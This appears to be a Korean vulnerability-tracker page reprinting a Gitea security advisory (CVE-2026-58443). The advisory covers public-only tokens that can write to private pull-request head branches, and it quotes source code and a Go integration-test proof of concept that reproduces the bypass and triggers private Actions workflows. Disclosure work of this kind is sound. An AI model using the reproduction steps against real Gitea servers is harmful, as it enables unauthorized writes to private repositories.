Kestrel
대시보드로 돌아가기
CVE-2026-58443CRITICAL· 9.6GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Public-only repository tokens can update private PR head branches

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.6critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향없음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.6CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

상세 설명

Summary

Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.

The vulnerable endpoint is:

text
1POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update

Gitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.

As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.

Details

The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.

text
1// routers/api/v1/api.go:1358-1394
2 m.Group("/pulls", func() {
3 m.Combo("").Get(repo.ListPullRequests).
4 Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
5 m.Get("/pinned", repo.ListPinnedPullRequests)
6 m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
7 m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
8 m.Group("/{index}", func() {
9 m.Combo("").Get(repo.GetPullRequest).
10 Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
11 m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
12 m.Post("/update", reqToken(), repo.UpdatePullRequest)
13 m.Get("/commits", repo.GetPullRequestCommits)
14 m.Get("/files", repo.GetPullRequestFiles)
15 m.Combo("/merge").Get(repo.IsPullRequestMerged).
16 Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
17 Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
18 m.Group("/reviews", func() {
19 m.Combo("").
20 Get(repo.ListPullReviews).
21 Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
22 m.Group("/{id}", func() {
23 m.Combo("").
24 Get(repo.GetPullReview).
25 Delete(reqToken(), repo.DeletePullReview).
26 Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
27 m.Combo("/comments").
28 Get(repo.GetPullReviewComments)
29 m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
30 m.Post("/undismissals", repo.UnDismissPullReview)
31 })
32 })
33 m.Combo("/requested_reviewers", reqToken()).
34 Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
35 Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
36 })
37 m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
38 }, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
text
1// routers/api/v1/api.go:1465-1466
2 }, repoAssignment(), checkTokenPublicOnly())
3 }, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))

For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.

The update handler then checks whether the caller can update the PR head branch:

text
1// routers/api/v1/repo/pull.go:1220-1270
2 pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
3 if err != nil {
4 if issues_model.IsErrPullRequestNotExist(err) {
5 ctx.APIErrorNotFound()
6 } else {
7 ctx.APIErrorInternal(err)
8 }
9 return
10 }
11
12 if pr.HasMerged {
13 ctx.APIError(http.StatusUnprocessableEntity, err)
14 return
15 }
16
17 if err = pr.LoadIssue(ctx); err != nil {
18 ctx.APIErrorInternal(err)
19 return
20 }
21
22 if pr.Issue.IsClosed {
23 ctx.APIError(http.StatusUnprocessableEntity, err)
24 return
25 }
26
27 if err = pr.LoadBaseRepo(ctx); err != nil {
28 ctx.APIErrorInternal(err)
29 return
30 }
31 if err = pr.LoadHeadRepo(ctx); err != nil {
32 ctx.APIErrorInternal(err)
33 return
34 }
35
36 rebase := ctx.FormString("style") == "rebase"
37
38allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
39 if err != nil {
40 ctx.APIErrorInternal(err)
41 return
42 }
43
44 if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
45 ctx.Status(http.StatusForbidden)
46 return
47 }
48
49 // default merge commit message
50 message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)

The service checks the head repository using the user's normal repository permission:

sql
1// services/pull/update.go:136-164
2// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
3// update PR means send new commits to PR head branch from base branch
4func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
5 if user == nil {
6 return false, false, nil
7 }
8 if err := pull.LoadBaseRepo(ctx); err != nil {
9 return false, false, err
10 }
11 if err := pull.LoadHeadRepo(ctx); err != nil {
12 return false, false, err
13 }
14
15 // 1. check whether pull request enabled.
16 prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
17 if repo_model.IsErrUnitTypeNotExist(err) {
18 return false, false, nil // the PR unit is disabled in base repo means no update allowed
19 } else if err != nil {
20 return false, false, fmt.Errorf("get base repo unit: %v", err)
21 }
22
23 // 2. only support Github style pull request
24 if pull.Flow == issues_model.PullRequestFlowAGit {
25 return false, false, nil
26 }
27
28 // 3. check user push permission on head repository
29pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
30 if err != nil {
31 return false, false, err
32 }

That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.

If allowed, the update service performs a merge/rebase update and pushes into the head repository:

text
1// services/pull/update.go:89-100
2 reversePR := &issues_model.PullRequest{
3 BaseRepoID: pr.HeadRepoID,
4 BaseRepo: pr.HeadRepo,
5 BaseBranch: pr.HeadBranch,
6
7 HeadRepoID: pr.BaseRepoID,
8 HeadRepo: pr.BaseRepo,
9 HeadBranch: pr.BaseBranch,
10 }
11
12_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
13 return err

The result is a server-side private repository write performed through a public route.

PoC

text
1import (
2 "encoding/base64"
3 "fmt"
4 "net/http"
5 "net/url"
6 "testing"
7 "time"
8
9 actions_model "code.gitea.io/gitea/models/actions"
10 auth_model "code.gitea.io/gitea/models/auth"
11 repo_model "code.gitea.io/gitea/models/repo"
12 unit_model "code.gitea.io/gitea/models/unit"
13 "code.gitea.io/gitea/models/unittest"
14 user_model "code.gitea.io/gitea/models/user"
15 "code.gitea.io/gitea/modules/gitrepo"
16 api "code.gitea.io/gitea/modules/structs"
17 webhook_module "code.gitea.io/gitea/modules/webhook"
18 repo_service "code.gitea.io/gitea/services/repository"
19
20 "github.com/stretchr/testify/assert"
21 "github.com/stretchr/testify/require"
22)
23
24func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
25 onGiteaRun(t, func(t *testing.T, _ *url.URL) {
26 doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})
27
28 baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
29 Name: "public-pr-update-base",
30 Description: "public base repository for public-only PR update PoC",
31 AutoInit: true,
32 Readme: "Default",
33 DefaultBranch: "main",
34 IsPrivate: false,
35 })
36 require.NoError(t, err)
37
38 headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
39 BaseRepo: baseRepo,
40 Name: "private-pr-update-head",
41 Description: "private head repository for public-only PR update PoC",
42 SingleBranch: baseRepo.DefaultBranch,
43 })
44 require.NoError(t, err)
45 require.NotNil(t, headRepo)
46 require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
47 RepoID: headRepo.ID,
48 Type: unit_model.TypeActions,
49 }}, nil))
50 headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
51
52 headBranch := "private-head-update"
53 testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
54 OldBranch: baseRepo.DefaultBranch,
55 NewBranch: headBranch,
56 }, map[string]string{
57 "private-head-marker.txt": "private head branch marker",
58 })
59 const workflowID = "private-push.yml"
60 const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
61 testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
62 OldBranch: headBranch,
63 NewBranch: headBranch,
64 }, map[string]string{
65 ".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
66on:
67 push:
68 branches:
69 - %s
70jobs:
71 private-head-job:
72 runs-on: ubuntu-latest
73 steps:
74 - run: echo %s
75`, headBranch, workflowSentinel),
76 })
77
78 require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
79 ID: headRepo.ID,
80 IsPrivate: true,
81 }, "is_private"))
82 headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
83 require.True(t, headRepo.IsPrivate)
84 baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})
85
86 session := loginUser(t, doer.Name)
87 publicOnlyToken := getTokenForLoggedInUser(t, session,
88 auth_model.AccessTokenScopePublicOnly,
89 auth_model.AccessTokenScopeWriteRepository,
90 )
91
92 publicPath := "public-base-injected-into-private.txt"
93 publicMarker := "FAULT-GITEA-062 public base content reached private head"
94 createPublicBaseFile := api.CreateFileOptions{
95 FileOptions: api.FileOptions{
96 BranchName: baseRepo.DefaultBranch,
97 Message: "create public marker for private head update",
98 },
99 ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
100 }
101 req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
102 AddTokenAuth(publicOnlyToken)
103 MakeRequest(t, req, http.StatusCreated)
104
105 privatePath := "direct-private-write-should-fail.txt"
106 directPrivateWrite := api.CreateFileOptions{
107 FileOptions: api.FileOptions{
108 BranchName: headBranch,
109 Message: "direct private write attempt",
110 },
111 ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
112 }
113 req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
114 AddTokenAuth(publicOnlyToken)
115 MakeRequest(t, req, http.StatusNotFound)
116
117 prPayload := map[string]string{
118 "title": "faultline public-only private head update",
119 "base": baseRepo.DefaultBranch,
120 "head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
121 }
122 req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
123 AddTokenAuth(publicOnlyToken)
124 resp := MakeRequest(t, req, http.StatusCreated)
125
126 var pr api.PullRequest
127 DecodeJSON(t, resp, &pr)
128 require.Equal(t, prPayload["title"], pr.Title)
129
130 gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
131 require.NoError(t, err)
132 defer gitRepo.Close()
133
134 commit, err := gitRepo.GetBranchCommit(headBranch)
135 require.NoError(t, err)
136 _, err = commit.GetBlobByPath(publicPath)
137 require.Error(t, err)
138
139 req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
140 AddTokenAuth(publicOnlyToken)
141 MakeRequest(t, req, http.StatusOK)
142 assert.Eventually(t, func() bool {
143 return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
144 }, 5*time.Second, 50*time.Millisecond)
145
146 actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
147 RepoID: headRepo.ID,
148 WorkflowID: workflowID,
149 }, unittest.OrderBy("id DESC"))
150 assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
151 assert.Equal(t, "push", actionRun.TriggerEvent)
152 assert.Equal(t, doer.ID, actionRun.TriggerUserID)
153 assert.NotEmpty(t, actionRun.CommitSHA)
154
155 job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
156 assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)
157
158 commit, err = gitRepo.GetBranchCommit(headBranch)
159 require.NoError(t, err)
160 blob, err := commit.GetBlobByPath(publicPath)
161 require.NoError(t, err)
162 content, err := blob.GetBlobContent(1024)
163 require.NoError(t, err)
164 assert.Equal(t, publicMarker, content)
165 })
166}

Impact

The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.

Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.

When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.